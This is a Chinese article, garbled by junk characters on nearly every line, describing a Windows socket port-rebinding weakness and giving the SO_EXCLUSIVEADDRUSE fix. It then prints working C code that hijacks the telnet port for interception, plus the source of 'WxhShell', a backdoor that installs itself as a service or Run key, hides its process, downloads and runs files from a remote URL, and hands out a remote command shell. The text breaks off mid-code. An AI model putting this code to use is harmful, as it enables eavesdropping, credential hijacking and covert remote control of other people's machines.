在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+prr~vgE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B)q 5m
y )D_\~n/5 saddr.sin_family = AF_INET;
Thlqe? !Vtj:2PQL saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'Gr}<B$A3 Q+Sx5JUR~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
n9PCSl j OoG Nij 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u$vA9g4 4[&L<D6h 这意味着什么?意味着可以进行如下的攻击:
IB'gY0* |a>W9Y m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
g>@T5&1q* O]|T ! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_m;H$N~I# W8@o7svrh 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
M%U1?^j8 +2qCH^80 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z 1~2w: E`M, n, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
n`W7g@Sg#I Rxl )[\A* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`$fKS24u WbIf)\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
z 2/E?$( V2v}F= #include
j'2:z# #include
s-S#qGZ #include
bhqV2y*' #include
a 8(mU% DWORD WINAPI ClientThread(LPVOID lpParam);
+NM`y=@@ int main()
I(bxCiRV {
`vMrlKq WORD wVersionRequested;
"8BZj;yS DWORD ret;
jDyG~de WSADATA wsaData;
SU8vz/\%y BOOL val;
%o4d(C B SOCKADDR_IN saddr;
w~}*MsB SOCKADDR_IN scaddr;
[v,Y-}wQ) int err;
t'7A-K=k3 SOCKET s;
l-~
o&n SOCKET sc;
#9's^}i int caddsize;
eeix-Wt*E HANDLE mt;
(8XP7c]5 DWORD tid;
rQrh(~\: wVersionRequested = MAKEWORD( 2, 2 );
@v:p)|Ne; err = WSAStartup( wVersionRequested, &wsaData );
cBGR%w\t% if ( err != 0 ) {
^U5g7Emf printf("error!WSAStartup failed!\n");
8c1ma return -1;
`S&.gPE2 }
UA%tI2 saddr.sin_family = AF_INET;
4:50dj n/zTS3< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
UHaY|I${U <,X?+hr saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+~ZFao qf saddr.sin_port = htons(23);
oiKY2.yW if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IXz)xdP {
y%wjQC 0~ printf("error!socket failed!\n");
&_Vd return -1;
r;~2NxMF/ }
pOmHxFOOK val = TRUE;
=Zt7}V //SO_REUSEADDR选项就是可以实现端口重绑定的
C7hJE- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>EJ`Z7E6 {
B]_NI=d printf("error!setsockopt failed!\n");
Gc1!')g! return -1;
1dE|q{ }
UpoTXAD}k //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p10i_<J]= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]Av)N6$&-Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
C8oAl3d+h 5(qc_~p^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
B=,j$uH {
.!><qVg ret=GetLastError();
IT5a/;J printf("error!bind failed!\n");
=D}]|ie return -1;
(&=gM }
o4l=oY:' listen(s,2);
|PY*"Ul while(1)
V']{n7a- {
J
Gpy$T{t caddsize = sizeof(scaddr);
Eg/=VBtc //接受连接请求
'(.vB~m7*+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`;\<Fr if(sc!=INVALID_SOCKET)
dJYW8pcKT {
{] Zet}2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%
a9C]? if(mt==NULL)
ymr#OP$<S {
Xb'UsQ printf("Thread Creat Failed!\n");
N
Dg*8i break;
QV_e6r1t#m }
kH9fK80 }
h p<NVST CloseHandle(mt);
K[G=J }
)RZ:\:c closesocket(s);
.~L^h/)Gjy WSACleanup();
'UN
'gXny return 0;
c1CUG1i }
+o*&JoC DWORD WINAPI ClientThread(LPVOID lpParam)
[$+N"4 {
&nXa/XIZ_ SOCKET ss = (SOCKET)lpParam;
Ac,Qj`'V SOCKET sc;
uLK4tQ unsigned char buf[4096];
LNU#NJ^Axt SOCKADDR_IN saddr;
]
1:pnd long num;
ML= :&M!ao DWORD val;
-sqoE*K[8 DWORD ret;
UwQyAD]Ht //如果是隐藏端口应用的话,可以在此处加一些判断
$SAk| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y{v\m(D saddr.sin_family = AF_INET;
~ 6`Ha@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
THXG~3J< saddr.sin_port = htons(23);
+ NpHk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Oj`I=O6 {
CdFr
YL+F printf("error!socket failed!\n");
O&(@Ka return -1;
sfuA
{c'v }
JS:AHJSz val = 100;
X7~AqG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l^"HcP6 {
F~O}@e{ ret = GetLastError();
s+jL BY return -1;
-NgL4?p= }
U$+G9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Jd0I!L {
ySXQn#}-, ret = GetLastError();
`dpm{sn return -1;
OY?x'h }
]!=,8dY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k#Bq8d {
}c1?:8p printf("error!socket connect failed!\n");
teDO,$ closesocket(sc);
%I
3D/!% closesocket(ss);
41'|~3\X return -1;
gWZzOH* }
Ce%fz~*b while(1)
CPj8`kl {
0Ia8x?80V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
e>a4v8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
p\&Lbuzv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
(='e9H!3D num = recv(ss,buf,4096,0);
ra[*E4P9L* if(num>0)
q8_8rp-@ send(sc,buf,num,0);
<JyF5 else if(num==0)
d4]9oi{} break;
w]ZE('3%W num = recv(sc,buf,4096,0);
|5h~&kA if(num>0)
=SEgv;#KZ~ send(ss,buf,num,0);
mO1r~-~AJ else if(num==0)
{;T7Kg.C break;
FWJhi$\:D] }
.dvO Ut I[ closesocket(ss);
+uD4$Wt_F closesocket(sc);
p+pBk$4 return 0 ;
ivb?B,Lz0 }
K>a+-QWK3 q0a8=o"| s;[OR ==========================================================
0K*|B.O 0qPbmLMK 下边附上一个代码,,WXhSHELL
}+wvZq +c <RFT W}f! ==========================================================
zZ11J0UI ^zs]cFN#% #include "stdafx.h"
`Zm-F #@cOyxUt #include <stdio.h>
HL*Fs /W #include <string.h>
$afE=
qC* #include <windows.h>
E/6@>.T?' #include <winsock2.h>
{"x>ewAf #include <winsvc.h>
4U1!SR]s #include <urlmon.h>
9BA*e-[ [IgB78_$ #pragma comment (lib, "Ws2_32.lib")
!eH9LRp #pragma comment (lib, "urlmon.lib")
gq +|Hr ~g_]Sskf7 #define MAX_USER 100 // 最大客户端连接数
&~SPDiu.t #define BUF_SOCK 200 // sock buffer
!9/1_Bjv #define KEY_BUFF 255 // 输入 buffer
\j$q';9p F}C.F #define REBOOT 0 // 重启
J_H=GHMp} #define SHUTDOWN 1 // 关机
?;dfA/ `7))[._ #define DEF_PORT 5000 // 监听端口
BnL [C:| S.#IC
lV #define REG_LEN 16 // 注册表键长度
k m(Mv #define SVC_LEN 80 // NT服务名长度
Fz 6&.f W_sAk~uK/ // 从dll定义API
f L}3I(VK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
IB
sQaxt. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<:tD m typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
e/{1u$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
^q$m>|KI :{YOJDtR // wxhshell配置信息
<Z -d5D> struct WSCFG {
1l(_SD;90t int ws_port; // 监听端口
zv%9?: char ws_passstr[REG_LEN]; // 口令
p903*F^[, int ws_autoins; // 安装标记, 1=yes 0=no
rpZ^R}B%*v char ws_regname[REG_LEN]; // 注册表键名
+F9)+wT~;q char ws_svcname[REG_LEN]; // 服务名
V:wx@9m) char ws_svcdisp[SVC_LEN]; // 服务显示名
0bt"U=x4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
Y\sSW0ZX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Z^ e?V7q int ws_downexe; // 下载执行标记, 1=yes 0=no
%v_w"2x; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@o g&l; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
JQp::,g ,vnHEY& };
<1L?Xhoc6 +frkC| . // default Wxhshell configuration
xMb)4 cw} struct WSCFG wscfg={DEF_PORT,
64hl0'67y "xuhuanlingzhe",
DAPbFY9 1,
# RG/B2 "Wxhshell",
0CTUcVM#9 "Wxhshell",
Eed5sm$H "WxhShell Service",
g20,et "Wrsky Windows CmdShell Service",
>H*?ktcW "Please Input Your Password: ",
F_?aoP&5 1,
_,U`Iq+X "
http://www.wrsky.com/wxhshell.exe",
'rX!E,59 "Wxhshell.exe"
~`<(T)rs };
6;:s N8M+1 C_RxJWka // 消息定义模块
**%/Ke[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
k6pXc<]8 char *msg_ws_prompt="\n\r? for help\n\r#>";
#:Tb(R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+a{P,fRl@ char *msg_ws_ext="\n\rExit.";
O7MFKAaD char *msg_ws_end="\n\rQuit.";
l.V{H<v} char *msg_ws_boot="\n\rReboot...";
o!";&\,Ip char *msg_ws_poff="\n\rShutdown...";
p7\}X. L char *msg_ws_down="\n\rSave to ";
W6d[v/+K+ _9^ char *msg_ws_err="\n\rErr!";
K)z!e;r char *msg_ws_ok="\n\rOK!";
R`_RcHY: RbY=OOQ char ExeFile[MAX_PATH];
|@rPd=G^(/ int nUser = 0;
O!3MXmaO HANDLE handles[MAX_USER];
bm &$wf int OsIsNt;
L*rND15 ?3x7_=4t@ SERVICE_STATUS serviceStatus;
\KGi54&Y SERVICE_STATUS_HANDLE hServiceStatusHandle;
aWG7k#nE k4:e0Wd // 函数声明
y(#Aze{yC int Install(void);
2itJD1; int Uninstall(void);
%LH~Im= int DownloadFile(char *sURL, SOCKET wsh);
vw;GbQH( int Boot(int flag);
xcF:moL void HideProc(void);
3kAhvL int GetOsVer(void);
E*uz|w3S)Y int Wxhshell(SOCKET wsl);
tML[~AZh void TalkWithClient(void *cs);
#i8] f{ int CmdShell(SOCKET sock);
K%+[2Hj2 int StartFromService(void);
q13bV int StartWxhshell(LPSTR lpCmdLine);
fG+/p 0sJ? |Sne\N>% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-*Voui VOID WINAPI NTServiceHandler( DWORD fdwControl );
SnK#YQCDt P|>pm]>C
// 数据结构和表定义
"M)kV5v% SERVICE_TABLE_ENTRY DispatchTable[] =
Wsz-#kc\[ {
!,}F2z?4c {wscfg.ws_svcname, NTServiceMain},
CSUXa8u7 {NULL, NULL}
ypCarvQT };
P)>`^wc$ IfK%i/J // 自我安装
({GN.pC( int Install(void)
3X0"</G6 {
cTU%=/gbc< char svExeFile[MAX_PATH];
}.nHT0l HKEY key;
ku@sQn strcpy(svExeFile,ExeFile);
$IM}d"/9 /M}jF*5N // 如果是win9x系统,修改注册表设为自启动
vZDM}u if(!OsIsNt) {
D4@'C4kL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jp~C''Sj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@w%{yzr% RegCloseKey(key);
7S
+YQ$_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B4hT(;k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
b3>`%?A RegCloseKey(key);
i'[o,dbE return 0;
4x`.nql }
=JqKdLH }
*J ]2"~_. }
#J=@} S) else {
sPu@t&$
j4!g&F _y // 如果是NT以上系统,安装为系统服务
&!kD81?Mm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
N"tEXb/, if (schSCManager!=0)
3gUGfedi {
BIBBp=+ SC_HANDLE schService = CreateService
}m`+E+T4 (
$CgJ+ua\8 schSCManager,
/nbHin#we wscfg.ws_svcname,
,#NH]T`c1 wscfg.ws_svcdisp,
^}F @*A;o SERVICE_ALL_ACCESS,
4axc05 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
q ,C)AZ SERVICE_AUTO_START,
gcaXN6 C SERVICE_ERROR_NORMAL,
(jV_L1D svExeFile,
?`,Rkg0fe NULL,
c{qoASc? NULL,
?qdZ]M4e NULL,
m(B,a,g< NULL,
L\CufAN NULL
y<Z-f. );
=;) M+" if (schService!=0)
lZt{L0 {
b?=>)':f CloseServiceHandle(schService);
|i}5vT78 CloseServiceHandle(schSCManager);
J:N4F.o&K strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
nVO|*Bnf) strcat(svExeFile,wscfg.ws_svcname);
c`F~vrr)X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
v0d<P2ix RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T%opkyP>= RegCloseKey(key);
O%$XgEJ8p return 0;
uoryxKRjc~ }
5ree3 quh }
U1.w%b, CloseServiceHandle(schSCManager);
Tej&1'G }
Ja*k|Rz~ }
&3o[^_Ti !,I530eh7 return 1;
A3!xYG=+ }
m9&MTRD\ .3tyNjsn\ // 自我卸载
cP]5Qz int Uninstall(void)
&ND8^lR=Y; {
;'|Mt)\ HKEY key;
)(aj ,pg\5b if(!OsIsNt) {
%. zcE@7* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
MV~-']2u RegDeleteValue(key,wscfg.ws_regname);
Gx$rk<;ZW RegCloseKey(key);
GOzV# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/.[;u1z"^ RegDeleteValue(key,wscfg.ws_regname);
bM9:h RegCloseKey(key);
ToNRY<! return 0;
IhRYV`: }
-%h0`hOG{ }
60A
E~ }
UP*\p79oO else {
nj@l5[ +dt b~M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!OO{qw(*g if (schSCManager!=0)
ckZZ)lW`* {
r2Wx31j{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
M[Kk43;QY! if (schService!=0)
$;ssW"7~Qn {
?
7H'#l if(DeleteService(schService)!=0) {
v)TFpV6b{p CloseServiceHandle(schService);
EZz`pE CloseServiceHandle(schSCManager);
}EW@/; kC return 0;
M<
T[%)v }
!GNLq.rQ CloseServiceHandle(schService);
neHozmm| }
ub#>kCL9 CloseServiceHandle(schSCManager);
il)LkZ@ }
.\W6XRw }
\Jcj4 X5M{No>z return 1;
v+3-o/G7 }
LMV0:\> y'a(>s( // 从指定url下载文件
K?4/x4p@ int DownloadFile(char *sURL, SOCKET wsh)
Pdg %:aY {
a9OJC4\ HRESULT hr;
yXpU)|o char seps[]= "/";
-9.Rmv#og{ char *token;
gm-m_cB< char *file;
Q]?Lg char myURL[MAX_PATH];
vbZGs7% char myFILE[MAX_PATH];
5_d=~whO&2 [CfA\-gx<f strcpy(myURL,sURL);
=>PBdW token=strtok(myURL,seps);
'+
8.nN while(token!=NULL)
2Sq+w;/ {
\mBH6GS file=token;
6]#\|lds1 token=strtok(NULL,seps);
iTt#%Fs)4M }
e^Ds|}{V rRfPq GetCurrentDirectory(MAX_PATH,myFILE);
!*U#,qY strcat(myFILE, "\\");
>-~2:d\M3 strcat(myFILE, file);
0B4&!J send(wsh,myFILE,strlen(myFILE),0);
Hko(@z send(wsh,"...",3,0);
g;>M{)A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
${/"u3a_ if(hr==S_OK)
T%Vg0Y)P; return 0;
Od>^yhn else
bwo{
Lw~ return 1;
6Wos6_ \n@S.Y?P }
K-xmLEu iz2I4 _N // 系统电源模块
0'DlsC/`* int Boot(int flag)
S[J=d%( {
lO+<T[ HANDLE hToken;
Dm3/i|Y TOKEN_PRIVILEGES tkp;
@;-6qZ Ozygr?*X if(OsIsNt) {
~okIiC]# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#$vef
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xELnik_L2 tkp.PrivilegeCount = 1;
.CrrjS w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~)S Q{eK?& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
pearf2F if(flag==REBOOT) {
^jO$nPDd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>};6>)0 return 0;
zEQ<Q\"1 }
u#+p6%?k else {
$Qm-p?f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,sAN,?eG~ return 0;
[n`SXBi+n }
X9:(}=E
V }
&wZ ggp else {
I<w`+<o( if(flag==REBOOT) {
!U,^+"l'GP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>!j= {hK return 0;
bb6
~H }
;|2h&8yX(/ else {
L"i
B'= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
u5f+%!p return 0;
~urV`J }
:'OCQ.[{s }
gyW*-:C @17hB h return 1;
q2I;Ly\3o }
c|N!ZYJI N*PF&MyB // win9x进程隐藏模块
67I6]3[Z void HideProc(void)
7k<4/|CQ{ {
6~b~[gA )e)@_0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K8dlECy if ( hKernel != NULL )
ZCQ7xQD {
CI+dIv> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w8t,?dY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
LzEAA{ FreeLibrary(hKernel);
lu^c^p; }
{&Kq/sRz 5zlgmCGow return;
wHW";3w2~ }
{cF7h)j \?,'i/c- // 获取操作系统版本
\C3ir & int GetOsVer(void)
?VMj;+'tr {
U~8.uldnF OSVERSIONINFO winfo;
/j]r?KAzw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@!\g+z_" GetVersionEx(&winfo);
p{j
}%)6n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@:@0}]%z9 return 1;
,L+tm>I else
]E66' return 0;
A9!gww }
eNlE]W,= xMsos?5} // 客户端句柄模块
w5l:^^zF( int Wxhshell(SOCKET wsl)
~U:{~z {
H/_R!G8\ SOCKET wsh;
r}i<cyL struct sockaddr_in client;
%$j)?e DWORD myID;
&XosDt A>6b
6 while(nUser<MAX_USER)
y2V9! {
$]CZ]EWts int nSize=sizeof(client);
Y&xmy|O# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
_=Y]ZX`j if(wsh==INVALID_SOCKET) return 1;
t"`LJE._P &nk6_{6
c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
B$k<F8!% if(handles[nUser]==0)
8T'=lTJ closesocket(wsh);
L!E/ )#{ else
n4%|F'ma nUser++;
y
D.S" }
?JTy+V2t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f>JuxX\G pN<wO1\9 return 0;
lgZ3=h }
)5lo^Qb b=a&!r5M // 关闭 socket
r)<]W@Pr void CloseIt(SOCKET wsh)
:Ia3yi# {
rE"`q1b# closesocket(wsh);
=:aH2T* nUser--;
eL9RrSXz ExitThread(0);
@oC8: }
h0NM5 ZLdvzH@' // 客户端请求句柄
;$@7iL void TalkWithClient(void *cs)
u~yJFIo {
|KF X0*70 'v4#mf SOCKET wsh=(SOCKET)cs;
m~9Qx`fi` char pwd[SVC_LEN];
2 q J}5 char cmd[KEY_BUFF];
m~~_iz_* char chr[1];
`rC9i5: int i,j;
BQv+9(:fQB FG7}MUu while (nUser < MAX_USER) {
|,bsMJh0 ]]$s"F< if(wscfg.ws_passstr) {
*
B,D#;6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`G\uTC pk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9|dgmEd //ZeroMemory(pwd,KEY_BUFF);
PYqx&om i=0;
4VPL
-":6 while(i<SVC_LEN) {
@`aR*B o|8
5<~` // 设置超时
s)"C~w^ fd_set FdRead;
D%umL/[] struct timeval TimeOut;
rX6"w31 FD_ZERO(&FdRead);
m;{_%oQ; FD_SET(wsh,&FdRead);
K1Nhz'^=D TimeOut.tv_sec=8;
.]%PnJM9K TimeOut.tv_usec=0;
qIK"@i[
uq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
I!.o&dk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Rd;k> e R8UtX9'*sa if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
oK@!yYv pwd
=chr[0]; S =q.Y
if(chr[0]==0xd || chr[0]==0xa) { 3 q
pwd=0; .ps'{rl8
break; +ex@[grsGT
} Mn $TWhg'
i++; aQwc Py|1R
} ?b 2
F ^Rt
6Io
// 如果是非法用户,关闭 socket >/1N#S#9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %\=5,9A\
} h@FDP#H
T F&xiL^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `@ULG>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "aK3
ylz;
j$^3
while(1) { K+ xiov-r?
a ^<W
?Z
ZeroMemory(cmd,KEY_BUFF); =:[Jz1 M5
3N(s)N_P M
// 自动支持客户端 telnet标准 p>=YPi/d
j=0; ?8. $A2(Xw
while(j<KEY_BUFF) { xRW~xr2h@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @jO3+
cmd[j]=chr[0]; #_y#sDfzh
if(chr[0]==0xa || chr[0]==0xd) { d/Xbk%`p
cmd[j]=0; cu(2BDfiL
break; %TxFdF{A
} 2hAu~#X
j++; `h_,I R<
} >>=lh
}N(-e$88
// 下载文件 E"bYl3
if(strstr(cmd,"http://")) { mv%fX2.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); lz@fXaZM
if(DownloadFile(cmd,wsh)) ZO{uG(u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zx'G0Z9]
else -EFtk\/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 64>E|w
} jDIO,XuF
else { [Rw0']i`4
Ek(.
["
switch(cmd[0]) { FGu:8`c9
VdQ}G!d
// 帮助 !p4w
8
case '?': { Bvzl*
&?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *qYcb}
]
break; %)8`(9J*
} V"(S<o
// 安装 $q]((@i.
case 'i': { {MU>5\
if(Install()) Ra<mdteZT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FOgF'!K
else T[B@7$Dp*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /4+M0P l
break; <splLZW3k
} JLm0[1Lzd
// 卸载 OEy'8O$
case 'r': { lBh|+KN
if(Uninstall()) vC[)/w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #sdW3m_%
else !OekN,6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TAlpy$
break; &K2[>5
mG
} P!'Sx;C^f
// 显示 wxhshell 所在路径 c 6@!?8J
case 'p': { HS.3PE0^C
char svExeFile[MAX_PATH]; CUfD[un2D
strcpy(svExeFile,"\n\r"); e@*Gnh<&
strcat(svExeFile,ExeFile); u&?J+
send(wsh,svExeFile,strlen(svExeFile),0); ]78I
break; *5 ]fjh{
} g
#u1.|s&p
// 重启 ZN-J!e"`
case 'b': { +"6_rbeuO
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V;mKJ.d${
if(Boot(REBOOT)) ;({&C34a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3g9xTG);eA
else { 7)S`AQ2:)
closesocket(wsh); xekW-=#a7-
ExitThread(0); YFOSv]w
} iJIPH>UMX
break; !/ TeTmo
} q0{KYWOvk
// 关机 J!O5`k*.C
case 'd': { o)Kx:l +f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _%w-y(Sqn
if(Boot(SHUTDOWN)) Xg?hh 0s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S9J<3
=
else { RoSh|$JF
closesocket(wsh); o1YX^-<[F
ExitThread(0); 'x{g P?.
} j0^~="p%C
break; n(l!T
7
} G<OC99;8
// 获取shell 1VL!0H
case 's': { Q
,30
CmdShell(wsh); SdBv?`u|g
closesocket(wsh); D oX!P|*
ExitThread(0); [
\ LA
break; f;`pj`-k%
} dX{|-;6vm
// 退出 N~_GJw@
case 'x': { &!]$#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xu(5U`K
CloseIt(wsh); L0ig%
break; E ;65k Z
} y[Zl ,v7
// 离开 S-WD?BFC
case 'q': { 7SLJLn3d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ac'[(
closesocket(wsh); f305 yo
WSACleanup(); I]bqle0M
exit(1); PN[
`p1F
break; 1%Xwk2l,8b
} uFOxb}a9v
} fs+l
} (xpj?zlmM
WM5s
// 提示信息 Wk"4mq
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '; ,DgR;'
} ne] |\]
} n3t1'_/TU}
h
1G`z
return; v]\io#
} eyf\j,xP&
iM+K&\{_h
// shell模块句柄 )$Xd#bzD|
int CmdShell(SOCKET sock) A9\m.3jo
{ Y,?s-AB
STARTUPINFO si; Ks.m5R
ZeroMemory(&si,sizeof(si)); ]\w0u7}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "- S2${
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |F[E h
~
PROCESS_INFORMATION ProcessInfo; #XR<}OYcL
char cmdline[]="cmd";
GY,l&.&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]J+}WR
return 0;
(M5w:qbR
} azR<Y_tw
m d:$OC3
// 自身启动模式 Y~EKMowI&e
int StartFromService(void) {i y[8eLg
{ 3XdN\xc
typedef struct @-nCK Yj
{ 98eiYh
DWORD ExitStatus; 8 P85qa@w
